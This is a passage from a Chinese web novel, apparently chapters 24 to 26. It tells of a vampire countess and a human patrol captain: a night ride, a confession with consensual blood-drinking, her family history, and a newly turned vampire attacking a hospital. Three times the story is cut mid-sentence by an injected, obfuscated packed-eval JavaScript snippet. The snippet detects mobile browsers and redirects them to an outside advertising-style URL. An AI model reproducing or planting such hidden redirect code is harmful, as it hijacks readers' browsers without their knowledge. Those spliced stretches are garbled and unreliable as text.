黑暗中,他们共享着一样的心跳和情绪,却久久不语。 直到黎信步的微信在疯狂轰炸。他挂了,对方再度打来。 奥黛瞥了一眼头像,是徐让的。 巷口人影晃动,传来小孩的声音:“妈妈,那边是什么啊?” 在那对路人母女到来之前,奥黛反握住了黎信步的手。 她没有收走戒指,只在一瞬间收走了他的手机。 紧接着,一辆机车从巷尾驶出,她骑在机车上,带着他扬长而去。 “哦,”孩子妈妈笑说:“是大摩托。” 孩子呆呆地望着他们离开的方向,喃喃道:“好像银河呢!” 机车上,肩头上的白色绸缎随风飘扬至她的身后,在交错的光源下,富有光泽的塔夫绸变成了一块移动的画布,车影,树影,霓虹灯影错落地在上面描绘渲染,绘制出一条绮丽的银河。 而他坐在她的身后,隔着风轻拥着她,如同暗物质晕一样围绕在银河周围。 银河要去哪里? 他不知道。 随她吧。 去哪里都很好。 24. 吸血 去哪? 奥黛也不知道。 她只想要离开这附近能眺望江景的餐厅,离开让她失控躁动的小巷。 或许她最该离开的是对面的人。 却不知怎么的,抢了他的车,带走了他的人,毫无目的地,仅仅只依靠随机的心意来指引每一个路口的方向。 城市的剪影呼啸撤离,速度越来越快,冲过霓虹大道,越过跨江大桥,驶过美食长街,来到了连绵起伏的青山脚下。 前方已经没有路了。 银河不得不在此停下。 她从车上下来,凝望着前方拦路虎一样的巨山轮廓。 有那么一瞬间,她希望这条路没有尽头。 然而心里疯狂滋长的恶念闯不过这座山,被迫溢散,像逐渐清醒的酒意一样。 “这叫什么山?”她问。 黎信步告诉她:“是灵麓山。” 奥黛深深地看了这山一眼。 原来,不管不顾地全然依照自己的心意行事,最远,只能抵达灵麓山的山脚。 她冷静下来,把一直震动的手机还给了黎信步,打算放他离开。 黎信步接过手机,直接摁断。 目光却直勾勾地盯着她。 奥黛抬起下巴:“不接么?” 黎信步放回口袋:“不是重要的事。” “联谊不重要?”她淡淡问:“不重要为什么提前回星城?” “?” 默了一瞬,黎信步简直气笑了:“所以女爵觉得我回来是要去参加联谊??” 不然呢? 他一滞,忽然眸光敏锐地一闪,心头浮现出了某种可能性,像是抓到了什么急着躲进灌木丛的小动物的尾巴,需要耐住性子才能把它慢慢勾出来。 “可是联谊不在这个方向,”他仔细观察着奥黛的表情,抬手指向江对岸:“在那边。” 顺着他的目光,奥黛看了过去,轻轻地问:“那你要过去么?” 黎信步反问:“你希望我去吗?” “为什么不呢?”她冷冷地扫他一眼,不动声色地往后退,纵身藏进了茂密的灌木中,再难追觅。 她又变成了那个不会过多干涉奴隶的家主,体面,克己,仿佛今晚的失态只是一场幻觉而已。 谁也别妄想抓到她的尾巴。 一瞬间,她的手腕一紧。 黎信步不讲章法、更不守规则地抓住了她,直截了当地问:“如果你希望我去,那为什么又把我带到这里来?” 奥黛平静地盯着他,平息的血液再次开始沸腾。 却说:“但每一个红灯你都可以下车,不是么?” 是她带他来的么? 是他跟她来的。 至少今天晚上的放浪,没有劫匪和人质,他们是共犯。 只是她试过了,这条路走不通。 仅仅二十分钟,风就把酒吹醒,高山挡住去路。 她给过他离开的机会。 即便到了现在,她也一直在给。 心里叹了口气,扭动了一下手腕,奥黛决定最后一次原谅人类奴隶的冒犯。 然而,黎信步却没有松手,掌心上面炽热的疤痕和茧,生硬地摩挲着她的腕骨,突兀又亲密地贴紧着她薄冷的皮肤。 “因为我喜欢你。”他不许她后退,甚至孤注一掷地把自己的退路都堵住了: “——不想下车,因为想和你呆在一起。” “——联谊,谁想去联谊?” “——提前回来只是,想要早点见到你。” 看见奥黛失神地怔愣在原地,久久没有反应,黎信步无奈地笑了一下。 还想像刚才那样当成没听见? 当成无事发生吗? 不行。 他要把她拉出来。 于是轻轻捏住了她的手指,在心里又重复了一遍: 【我喜欢你。】 她清楚地听到他涌来的心声。 与之同至的,还有他的心跳,他的快乐和痛苦,隐忍和酸楚。 各种声音嘈杂鼎沸,一齐朝她涌来,却独没有一丝谎言。 那么就意味着,他说喜欢她—— 是真的。 脑海里一下有什么东西炸开了,在酒精和甜血的双重蒙蔽下,脑子再次陷入混沌,已经无法进行正常的思考了。 “你知道你在说什么么?”越是想保持稳定,瞳仁越是不受控制地圆竖来回变化。 她压低声音强调道:“我是吸血鬼。” 吸血鬼是最黑暗最贪婪的物种,是最冷血最残忍的野兽。 她很可怕的。 就在几十分钟前她还考虑要将他的腿折断,或是聆听他最后一句遗言。 她就是这样的恶魔。 为什么还会被喜欢? 顷刻间,她的眼睛定格为深红的竖瞳,危险地盯着他的脖颈。薄唇轻张,洁白的上犬齿如冰锥般顶出,残破的翅膀霍然张开,另外一只手上的尖钩长甲迅速生长了十几厘米,狰狞地在他的面前挥舞恫吓。 喜欢么? 不是喜欢么? 那这样的她还能喜欢么? 既然已经被看见了不体面的一面,那么干脆,把所有伪装的面具都撕烂好了。 谁要,她本质就是一个危险可怖的怪物呢。 打量着他脆弱的脖颈,她很缓慢地靠近了一步。 希望他知难而退。 “我是吸血鬼。”她又重复了一遍。 没想到,却看见他的左边脸颊,似乎露出了一点浅淡的酒窝。 然后,她那只像怪兽利爪一样的手也被他握住了。 面对这样的张牙舞爪,他只觉得生动可爱。 他说:“我知道啊。” 他的眼里如雪后初霁,带着温和的笑意,像是已经勘破了她的虚张声势。 奥黛一下恼羞成怒,狠狠抽出了手,猛地压住他的背,迫使他靠近自己。然后,尖牙抵上了他一侧的颈边,喷出冰凉的气息,像是在震慑他。 害怕吧。 求饶吧。 请求我放过你吧。 他哑声问她:“那你,知道我是谁吗?” 她不假思索:“黎信步。” 话音刚落,只觉后脑勺被一双大手扣住了,手指似乎穿过重重发丝,很温柔地抚摸了一下她的脑袋。紧接着,毫不留情地用力一压—— 尖牙立刻就磕上了颈窝。 她的眼睛难以置信地睁大,舌尖尝到了一丝腥甜。 想要推开对方,却被抱得更紧。 “奥黛,”嘶了一声,他的声音落在她的头顶,很轻很温柔,“是我,想被你吸血。” “别推开我,好不好?” “……” 她推不开他了。 或者说,她没想推开他。 本能的闸门一旦被打开,洪流立刻就会奔涌而出,理智也会付之东流。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069131|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而这次,作祟的不再是酒精。 她急促地吞食着他的血液,喉咙不时发出咕叽咕嘟的声响,像在沙漠中久行的旅者,终于找到了一汪清泉,埋着头大口痛饮。 不够。 怎么也喝不够。 他很甜。 比世界上所有东西都要甜,也比先前喝过的酒还要烈。 温热的甜血经过喉道流转全身,点燃了冰冷凝滞的血液,抚慰了浑身的躁妄。她飘飘然,脑海一片空白,像踩在了云端,跌下去了一瞬,又被他搂着腰颤着手捞回。 感觉到对方即使发着抖,也要紧紧抱住她。 这让她更加亢奋了。 身后的翅膀情不自禁地往前一拢,也包合住了他。 黑暗之中,巨茧之内,只能听到吸血鬼的急促的吞咽声,以及—— 英俊青年难以自拔的喘息声。 黎信步仰头,再仰头,下颌紧绷。 尽力为她延展出更平整的可供吸食的肌肤。 酥麻的痒意和失血的痛楚同时袭来,意识短暂地离去、又短暂地飞回,缠绵徘徊在她的身边。 他闭着眼,向来冷峻的脸上,浮现出淡淡的潮红,喉结一滚一滚,嘴巴微微地张着,一双虎牙温驯地蛰伏在了口腔里,只在她用力时,忍不住冒出一点点尖尖,复又很快藏进去。 唯有颊边的酒窝,露出来,就再也没有收回。 不知什么时候,他们的手指交缠到了一起。 快乐震耳欲聋,奥黛这才意识到她再次拥有了自己的心跳。 终于,她听清了自己心里的声音。 原来,是与他一样的。 而她贪得无厌,还想向他索取更多。 想把他浑身的血都吸干,想让他吸干自己的血。 想与他合二为一,想与他留着同样的血,想把他变成和自己一样的,怪物。 不行。奥黛。他不可以。 奥黛一怔,顿时清醒了过来。 仅存的一点理智,让她不得不推开他,难耐地抬起眼皮,凝望着黎信步微红的侧脸和发白的唇,忍不住收拢起因太过餍足而涣散的意识。 对方仍沉沦在这迷离里,眉头既痛苦又愉悦地皱着,昏黄的路灯下,他高隆的眉骨投下深刻的阴影,长睫就在这阴影里簌簌地颤动,睫尖隐隐颤出了濡湿的水泽。 奥黛看得有些入迷。 还想做更令她快乐的事。 “黎信步。”她叫他的名字。 缓缓睁开眼,他怅然若失地看着她,眼中不知何时染上了一抹红。 “嗯。”他哑着声音回应她,神情迷蒙。 屈指揩去嘴角的鲜血,苍白的手指捏住了他的下巴,她命令道:“把你刚刚说的话再重复一遍。” 他没问是哪一句,毕竟心里想的,也只有一句话—— “我喜欢你。” 最后一个字刚说出口,她就踮脚吻上了他的唇。 终于,更快乐了。 两人剧烈的心跳像鼓点。 好像在这一刻她才发现,宁白说的是真的。 她对他上瘾了。 这个带有血腥味的吻,一触即分。 等到奥黛已经松开他下巴回到了原地,黎信步才慢半拍似的摸着唇发呆,耳廓与脖颈爬上了一片薄红。 又过了几秒,他回过神来,用力地攥紧了奥黛的手,眼睛落在她的嘴唇上,低哑的声音呢喃般响起:“亲我,是什么意思?” 25. 暴雨 亲他是什么意思? 奥黛自己也不知道,却又不想向黎信步袒露自己对他上瘾的这个事实。 更不想承认,原来自己和其他低阶的吸血鬼一样,会对甜血人这么着迷。 就像她,凭空长出了个弱点一样。 “没什么意思。”她不看他,低头专心致志地看着地上。 落叶被风卷起来,沙沙作响。 “没什么意思是什么意思?”黎信步幽幽地望着她,活了二十六年,竟然有一种黄花闺男被渣女骗初吻的感觉。 他想为初吻讨个说法:“你知道的吧,亲吻是人类在一起以后才能做的事。” “我又不是人类。”被问烦了,女爵理直气壮地扬起下巴,剜他一眼:“想亲就亲了,怎么?不可以?” “……” 黎信步喜欢看她这样气势汹汹地耍横,很可爱,像只把所有见过的东西都圈入自己领地范围内的小猫。 “可以,女爵对我做什么都可以。”他低下了头,抿了下唇,又问:“那你现在还想亲吗?” 奥黛立刻抬眼望向他的唇。 刚刚的蜻蜓点水,她只知道他的唇瓣与他冷硬的气质不同,是很柔软的。可看见他此时的嘴唇因失血而略微有些发白,想了想,还是摇了摇头:“不了。” “那,你下次想亲的时候要找我。” 说出这句话,黎信步耳根都发红,明明今晚失血不少,可浑身都像在发热。 他有自知之明,当然不认为一个吻就能给自己讨要到什么名分,更不想用人类和血族的信息差骗她许诺什么,喜欢她从来不是一蹴而就的事。 更何况,他今晚已经得到了太多。 奥黛勉为其难地考虑了一下,轻轻地哼了一声。 算作回答。 黎信步左颊的酒窝印渐渐加深,又问:“那是不是可以理解为,我有资格保留你的戒指了?” 戒指。 又是戒指。 奥黛像是意识到了什么,问他:“你好像格外在意这枚戒指,为什么?” “因为你啊。” 他叹了口气,低声说:“我在浮城的血族博物馆里,看到一枚和它一模一样的戒指。有人告诉我,那是一个落魄的贵族和海尔珀林女公爵的定情信物。” 许是觉得自己可笑,他竟真的笑了一下:“虽然名不正言不顺,但我就是吃醋了。” 奥黛怔怔地望着他。 半晌,敛起目光,想了想,问:“你确定和你手上的一模一样么?” “很类似。”他皱眉:“你不记得送给谁了吗?” “那不是我送的。”奥黛说,“有一阵子,薄莎仿着这枚戒指的样子,打造了好几枚,凭她心意,随手送人。” 薄莎。 他知道这是她的妹妹,曾在医疗室里,她半梦半醒间也叫过这个名字,声音听起来很悲伤,不知道梦到了什么。 于是问:“你和她的感情很好?” 奥黛:“是啊。” 提到薄莎,奥黛的眼神变得空澈而遥远。 仿佛看见那个灵动的女孩儿,头戴荷叶边帽子,穿着喇叭形长袖长袍,百无聊赖地坐在庄园的橡树上看月亮。一堆红宝石戒指被她哗啦啦地从左手倒到了右手,又从右手倒到了左手。 “为什么要做这么多一样的戒指?”她不解地问。 薄莎挑眉,“你不觉得天底下的男人都是一样的么?给他们一样的戒指又有什么不可以呢?” 奥黛歪着脑袋,有些疑惑:“既然都一样,那你为什么要谈那么多场恋爱呢?” “我可没有谈恋爱,”薄莎学着她的样子也歪歪头:“是他们在追我——他们想消遣我,而我也在消遣他们而已。” 紫色的绸缎长袍下,一双赤足不安分地来回晃蹬,薄莎一把接住上抛的戒指,朝奥黛张开了双臂:“消遣蠢货,会让自己快乐。” “那么,”奥黛默契地接住从树上一跃而下的薄莎,对她说:“希望你永远快乐。” “还以为你会责怪我呢。”薄莎说。 “责怪你什么?” “滥情什么的吧。” “只要你快乐。” 人类的规矩、礼仪、道德薄莎统统不必遵守。 快乐,是她作为姐姐对妹妹唯一的期盼。 可是为什么? 当她握住了薄莎的手,两只同样苍白冰冷的手挨在了一起,互相能听到的,只有对方掌心里旷古的萧瑟风声。 而那,并不是快乐。 几声闷雷砸在了奥黛的耳畔。 狂风席卷骤雨,汹涌而来。 一时有些分不清这声音来自过去还是现实。 一双有力的大手紧握了她,不由分说地带着她向前奔跑:“下雨了!” 她下意识地跟上了对方的脚步。 黑色的风衣与白色的裙摆被风用力吹起,两人一齐冲向巨山阴影下的黑色机车。 像是在拍摄什么末世影片。 随着机车的一声低鸣,他们冲进雨幕里,路灯下,轮胎溅起晶亮的水花,像满月那晚破浪的银艇。 一帘又一帘雨幕被他们闯入,被雨浸湿的世界,变得光怪陆离起来。他们将斜线一样的雨丝甩在身后,闪电只能望其项背,响雷只能干吼嘶鸣,天地万物,统统都追不上他们。 在这样的暴风骤雨里,奥黛忽然说:“我的戒指只给过一个人。” 与此同时,一道雷声砸下,把她的声音盖住了。 算了。 她想,没听到就算了。 忽而又觉得自己有些愚蠢,咬了咬失言的唇。 却听到前方的人大声问:“是——我——吗?” 风声雨声里,他的声音听起来有些失真,却格外地干净。 呵。 “不过是无关紧要的奴隶而已。” 【谢谢,奴隶很荣幸。】 掌心贴住的那截结实的窄腰,传来了他的心声。 摒弃一切杂念,聆听他的快乐。 在狂风暴雨的末世里,他就像最后一座安全岛。 【在听我的快乐吗?】 奥黛一顿,突然有一种被抓住的感觉。 刚想把手撤回,却发觉他动了一下腰,让她的手掌能更舒服地贴住他: 【随便听,我的快乐都送给你。】 掌心下,他的快乐绵延不绝,比这场暴雨还要多。 安全岛载着唯一一位来客,逃离世界末日。 安全抵达奥黛的别墅。 如注的大雨将房里房外切分成两个世界。 大串大串的雨水密集地砸在窗户上,汇成了玻璃上一条条透明的水幕。 看这雨势,短时间不会停歇。 正在黎信步在思考自己是打车还是冒雨骑回家时,忽然听到奥黛说:“二楼有一间客房。” 紧接着,奥黛发现黎信步的酒窝又出来了,耳根又红了。 把他带上了楼,她站在平台上,忽然止住了脚步。 落她三两级楼梯的黎信步听见她的声音,也随之停下了步子。 “怎么了?”他问。 奥黛夜行惯了,并没有开灯,只是居高临下地盯着黎信步看了几秒钟。 目光从他被咬破的脖颈移到了嘴唇,一瞬间,黎信步清楚地感受到她气息的靠近。 发梢垂下的雨水,滴落在了他的干燥的掌心,他下意识接住。 像祈雨的百姓接住了造物主的恩泽。 冰冷潮湿的空气离他很近,他喉结一动,想随自己心意靠近,又惟恐冒犯到她。 “奥黛。” 低沉的声音里,带着丝缕强行按捺下来的急躁。 黑暗中,奥黛似乎轻轻笑了一下。 抬手往他左边脸颊轻轻一戳,复古的壁灯被她用另一只手摁亮。 在明亮的视线中,他看见她轻盈地迈进自己的房间,哒咔一声把门关上了。 他站在原地,有些不知所措。被她的冰冷触摸过的地方,竟然泛起了难耐的燥热,可是对方除了明亮与濡湿,什么也没有给他留下。 他轻轻一叹,预感今晚会很难入眠。 但奥黛却睡得很好。 不知是不是餍食过甜血的缘故,她久违地没有再做那些困厄住她的清醒梦。 她是以怎样的姿势入眠,就以怎样的姿势醒来。 雨声不绝,甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079561|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味不断,但隔壁却没有听见声响。 她一下坐了起来。 不动声色地感知了一番,然后慢腾腾地去洗漱。 洗漱完毕,随意浏览了一下艾克发来的行程邮件,她下了楼。楼下客厅的电视屏幕上,主持人正在播报暴雨红色预警的新闻。 艾琳正在向黎信步讲述海尔珀林的家族史,正好讲到了她父母的那一段。 这并不是什么要紧的秘密,甚至,在伊芙琳女爵疯了以后,还会在她为数不多的清醒时刻,将她从前的回忆写下来,用于提醒和铭记。 奥黛还记得,在那沓古老的羊皮卷上,扉页写着这样的话: 人们偏爱那些主角身份地位甚至是种族悬殊的爱情故事,却并不在现实里包容它存在。 “作为吸血鬼猎人,图银大人一时恻隐,偷偷救下了被暗算的伊芙琳女爵。而伊芙琳女爵,对英俊的血猎一见钟情。 “在某一个午夜,他们去到爱琴海,在掌管爱情的阿佛洛狄忒女神的雕像前,抛下家徽金币,决定要不要在一起。” “是正面,就在一起。反面,就分开。一连抛了五次都是正面,于是他们在爱情女神的见证下走到了一起。” “图银大人不愿意接受初拥,背叛血猎身份。更不愿意看到伊芙琳女爵被其他血猎伤害。于是他退出了血猎公会,焚毁了关于海尔珀林家族的所有记载,和伊芙琳女爵一起生活在了Y国的蔷薇庄园。 “他们约好一直相守到图银大人的生命终结,让他作为人类死去。然后,伊芙琳女爵会把他忘掉。” “然而没过多久,图银大人被索托家族的吸血鬼重伤,当伊芙琳女爵赶到的时候,他已经濒死了。 “伊芙琳女爵不忍爱人就死去,于是违背了誓言将他初拥。 “再后来,就有了我们奥黛女爵和薄莎女爵。” 之后的事不必再提。 她亲眼见到父亲母亲成为一对怨侣,分居两地,各与一个女儿生活。有时候她甚至在想,父亲之所以选择她而非薄莎一起生活,是不是因为相比薄莎,她长得并没有那么像母亲? 不过都已经不重要了。 她走下最后一阶楼梯,来到了挑高的客厅,随口问艾琳:“今天不要讲脱口秀么?” “……”艾琳望着窗外倾盆的大雨,看了看黎信步脖子上暧昧的痕迹,还是体贴地把空间留给了两人。 “对哦!我差点忘了!女爵再见!黎队大人再见!” 黎信步被叫得一愣:“什么?” 门被迅速关上。 电视传来主持人的声音:“在此,我台郑重呼吁广大市民朋友尽量避免外出,呆在安全的室内场所……” 奥黛:“……” 黎信步:“……” 她看了眼黎信步,见他穿了一件复古的黑色飞行夹克,拉链并未全然拉到顶,露出了里面白色的尖领和若隐若现的锁骨线条。 于是问:“你出去过?” “是啊,白天回了趟家,拿了点资料去队里。”黎信步抬手往后一靠,拉链随他动作轻轻下滑,“不过今天是休息日,难得队里没事,我又过来了。艾琳给我开的门。” 奥黛暗想自己这一觉实在睡得太沉,连人进进出出都没有察觉。 “又过来干什么呢?”奥黛盯着他,目光不自觉流连在了他颈间。 想到昨天的浅尝辄止,顿时变得口干舌燥起来。 “我想,我们的约定已经作废了,”黎信步走近一步,缓缓道:“所以现在可以出现在你的视线范围内了。” 奥黛坐在了沙发上,不置可否。 偏偏这人还不依不饶,又走近一步,直白地问她:“作废了吗?女爵。” “……”她不耐地应了一声。 这人的酒窝变得更加明显,他走到她的面前:“那女爵对我的判断是什么?” “……” 好烦的人啊。 刚想说话,却听见手机响了起来。 与此同时,黎信步的手机也响了起来。 两人对看一眼,心里有了预感,同时按下了接听。 是夜游队的异情通知: “请速归队,中心医院出事了。” 26. 怪物 黑沉沉的天幕压得很低,上面像被撕开了个看不见的口子,密集的雨箭从天上射到地上,无休无止。 地上的水汇成了浅河,漫至小腿,两双黑靴涉水而来。黎信步一把掀开警戒线,问:“出什么事了?” 奥黛站在他的身边,凝神静闻。 附近几个夜游队员迅速朝他们靠拢。 徐让问:“你俩怎么一起来的?” “顺路。”黎信步问,“确定有吸血鬼?” 徐让伸手揩了把脸上的水泽,说:“我也刚来,听说有不明黑影袭击了医院,高度怀疑是血族。局里让我们过来看看,不是最好。” 鹿露举伞跑了过来:“黎队,我刚刚在血液科,发现了这个。” 淡蓝色的取证手套,捏着透明的证物袋一端,里面,是一只扁缩的血袋,血液被吸空,袋内只剩下细小的血珠。 黎信步扫了一眼,看见了其中的牙印,心里有了判断。 奥黛启袋细闻,凝眸说:“吸血鬼的味道。” 黎信步道:“分头找,有情况及时汇报。” 队员四散:“是!” 奥黛捏着证物袋,有些奇怪。 上面的吸血鬼味道很轻,饶是她这样敏锐的嗅觉,也不能在第一时间察觉。 但吸血鬼是一个擅长并热衷留气息的族群,过去为了避免抢夺资源时莫名的混战,常常将自己的气息留在看中的“血包”上。这样的气息只有血族之间才能够闻到,气息越重,就代表实力越强,其他的吸血鬼就越是不敢冒犯。 久而久之,在“血包”上留气息几乎就成了一种本能。 在尖牙刺破皮囊的一瞬间,属于这只吸血鬼的独特气息就留存在了上面。即便是实力不强的低阶吸血鬼,也会虚荣地留下外强中干的气息。 像这样,留下这样淡的味道,她还是第一次见到。 黎信步也在沉思。 他见过吸血鬼吸血,也……被吸血鬼吸过血。 在尖牙刺破皮囊的一瞬间,原本流动在自己身体里的温热血流就变得沸腾起来,争先恐后地朝着她的尖牙涌去。 他的一切仿佛全然由她来主宰,包括血流,身体,乃至意志。 像这样,除了尖牙以外,还留下其他牙印的,他还是第一次见到。 倾泻的大雨中,四目相对的刹那,两人同时道:“是‘新吸血鬼’。” 只有这个可能。 所谓“新吸血鬼”,就是刚被转化成吸血鬼的人类。 这一阶段,既是人,也是吸血鬼。 被转化的过程往往是痛苦的,□□和灵魂都很痛苦。因为会清楚地感知到自己作为人的那一部分正慢慢消失,而作为野兽的那一部分正慢慢觉醒。 身体腐败重生,血液从热到冷,骨骼打破重塑,感觉时灵时钝,以及,开始残暴嗜血。 只有“新吸血鬼”才会不懂血族世界的规则,不刻意地留下自己的气息。 只有他们在初次吸食血袋时才会如此青涩,竟然还会留下门牙的牙印。 不同人在被初拥后会有不同的表现,有的会格外嗜睡,有的会格外饥饿,有的会格外抑郁,有的会格外狂躁…… 于是特族局要求,血族在初拥人类后,需要为人类注射转化宁剂安抚情绪,并严格监护。 “应该还是没有注射转化宁剂的‘新吸血鬼’。”黎信步说。 “什么是转化宁剂?” “一种药剂,注射以后会让‘新吸血鬼’被初拥后的这段时间不那么难受——至少,不会理智全无。” “已经发明出这种东西了么?” 黎信步看了一眼身后:“宁白发明的。” 奥黛有些意外,回头看了眼因不小心踩到松动的砖块、被挤出来的脏水溅了一身而吱哇乱跳的宁白:“……” 宁白气急败坏地跺脚走来,一边走,拖鞋一边发出噗噗的声音。 黎信步问她:“你觉得一个没有被注射转化宁剂的‘新吸血鬼’会去哪里?” “一般就是血液味道最浓郁的地方,譬如医院、献血站之类的。不过街上也有可能,对一丝理智也没有的吸血鬼来说,只要是人就是‘移动血包’。” 顿了顿,宁白又说,“不过还有一部分则会去自己最熟悉,或者是记忆最深的地方。记得我导师在研究逆初拥的时候对我说过,初拥像是一场海啸,不同的人会抓住不同的浮木,而浮木就是他们的过去。” “‘逆初拥’?”奥黛抓住了这个关键词,投以疑惑的眼神。 “简单来说,就是把被转化成吸血鬼的‘新吸血鬼’,转化成人。”宁白叹了口气:“我导师去世以后,研究也就中止了。我对这个研究始终抱悲观态度——逆转初拥,怎么可能?这就好比让熟鸡蛋变成生鸡蛋。” 未及细想,一声绝望的惨叫从高处传来。 抬头望去,两道倩影在楼顶的边缘纠缠。 雨里,站在高楼边缘处的女吸血鬼,单手掐住了一个护士的脖颈,毫不费力地将她提离悬空。一松手,对方就会径直掉落下数十米的高楼。 黎信步神情一肃,马上对对讲机道:“立刻安排狙击手和救生气垫——先把她稳住。” 奥黛的身影快得像是一阵风,从他身后吹过。 交臂的瞬间,她听见他无声道: 【小心。】 奥黛点头,风影穿梭在雨幕中。 “请不要安排狙击手!” 一道沙哑的声音由远及近传来。 一个穿着白色风衣的男人掀开了警戒线,跑了过来,大声道:“那是我初拥的伴侣,她是一个很有名的医生,救过很多人的,请你们帮帮她!” “为什么没注射宁剂?!”宁白声音愠怒。 “是要注射的!但药剂在压制她的过程中碎掉了,我刚一转身,她就冲了出来……求求你们,帮帮她吧!我,我们好不容易才在一起……”棕色的头发被雨打湿,一缕一缕地贴在他带着伤的脸上,他从怀里掏出两张证件,苍白的手在雨里颤得厉害。 证件上分别印有这两人的脸,他们都是无国界组织的医生。 眼前的这只男吸血鬼叫林顿·奥斯汀;上面那只失控的女吸血鬼叫徐晚晴,星城人,曾经就职于这家医院。 黎信步说:“夜游队不会主动对‘新吸血鬼’开枪。除非判断对方理智全无,而市民处于极度危险中。” “她还有理智!”林顿哽声道:“她一定还有理智的!” 黎信步却没有说话,仰头望着楼顶,下颌线紧绷。 耳机持续闪烁着蓝光,里面传来徐晚晴歇斯底里的喊叫,以及鹿露的声音:“目标红眸、尖甲、獠牙、蝠翼等血族特征已经全部外化,初步判断未保有人类理智。” 鹿露的耳机闪烁了一下,传来了黎信步的指示。 于是她扔下伞,放下枪,高抬起了双手,用掌心对着徐晚晴,显露出十分无害的样子,一步一步朝她走去。 “别害怕,我不会伤害你的。也请你不要伤害这个护士好吗?” 一只粉色的护士帽从头上无力脱落,凄惶地坠向几十米下的洪流。 徐晚晴魔鬼一样笑着,提起护士的那只手臂忽高忽低,颇有兴致地注视着对方是怎样苦苦挣扎的。 她听不进去任何话,尖牙兴奋地一长再长,指尖戳破了对方脖颈上的细腻的肌肤,像花汁一样浸染出了鲜红色的血,又被雨水无情冲刷掉。 看见护士的脸被涨得通红,眼球凸出,双脚无力蹬踹着空气,她露出了满意的笑容。 对方越是害怕,越是颤抖,她就越想,一口咬断她的脖子。 刚想下嘴,却看见一个身材娇小的短发女人朝她走来,对方的嘴唇碰撞张合,不知道在说什么。 勉强传了几个字到她耳里: “为什么……当……无国界医生……?” “救助别人……快乐……?” “看到……挣扎……想……帮她……?” 她扭了扭脑袋,似乎难以理解。 直到,她听到对方愤怒的大喊:“徐晚晴!你救了那么多人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083287|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不要让自己变成一个怪物!” “给我醒过来——!!!” 如当头棒喝。 她一怔,血色的眼睛,很迟缓、很迟缓地眨动了一下。 雨水将她的衣服淋湿,布料薄薄地一层贴在了身上,可以看出来,皮肤下的骨头扭曲地变着形,像是要冲破这具皮囊,冲破这层枷锁。 醒过来? 怎么醒来? ……谁是徐晚晴? 一只温柔而有力的手攥住了她,不由分说地把她从高楼的边缘拽了回来。 “徐晚晴,醒来——” “醒过来——” 徐晚晴朝鹿露困惑地移了一下脑袋,像是旋转的人偶摆件,动一下就要滞一下。 背脊上一节节骨头好像在打着架,疼痛让她再次陷入失惑。 她握紧了鹿露的手,眸光里黑红交闪,像是两个魂魄在争夺她的躯体。 忽然,她阴寒地笑了一下,再睁开眼睛时,眼中一片猩红,张开血盆大口。 鹿露面色一变,想要抽出身后的圣银匕首已经迟了。 几乎是同一时间,她和那个小护士被推下了几十米的高楼。 几发银色子弹朝徐晚晴射去,她却更快地来到射击她的队员面前。 长长的指甲扣住了他们脆弱的颈部,仿佛一捏,就能听到猎物脖颈的咔嚓断裂声。 思于此,她更兴奋了。 然而猎物的黑色瞳孔却倒映出一对悬停的黑色巨翼。 她扭过头,看见黑翼的主人左右手分别揽住了那两个刚刚被她推下去的人。 像是想将她们带上来。 不允许! 她决不允许! 她的牙齿被咬得咯咯作响,像是被激怒了一样,跃向空中,像鹰隼一样朝着那对黑翼俯冲下去。 奥黛被这突如其来的罡风扇得失去了平衡,不得不压低一边翅膀躲开,被逼得直直下坠。 两只吸血鬼一人面朝地、一人面朝天,如流星一样飞速下坠。 上面的那个肉眼可见地越来越快。 徐晚晴将翅膀收在身侧,像炮弹一样加速俯冲,全然失去理智的她丝毫不考虑自己该怎么落地,一味将长甲伸长,试图抓住猎物。 就在她将将碰到护士的衣角时,奥黛听见黎信步的一声呼喊,余光看见一发子弹从下冲来。 本能将翅膀轻盈一偏,子弹正中徐晚晴的眉心。 咚—— 徐晚晴与她们擦肩而过,径直冲向大地。 冰冷的血花溅在了奥黛的翅膀上,她直立起身,就在轰然坠地的前一秒,借着风势上扬,带着鹿露和小护士平稳着地。 雨里,黎信步握抢的手止不住地颤抖。 深灰色的硝烟从枪口弥漫出来,雾一样模糊了他冷鸷却通红的眼睛,目光紧紧跟随奥黛,确认她没有受伤。 一个白色的身影,从他身后跌跌撞撞地冲向血泊,洁白的衣服上瞬间沾满了血迹。 “为什么会这样……” “为什么会这样呢……” 林顿哑着声音,跪在了血泊之中,似乎很不能够理解。 活了两百年,生平第一次觉得永生或许还不错,就是因为有徐晚晴的存在。 于是迫不及待地想要把自己唯一的宝贝和她共享。 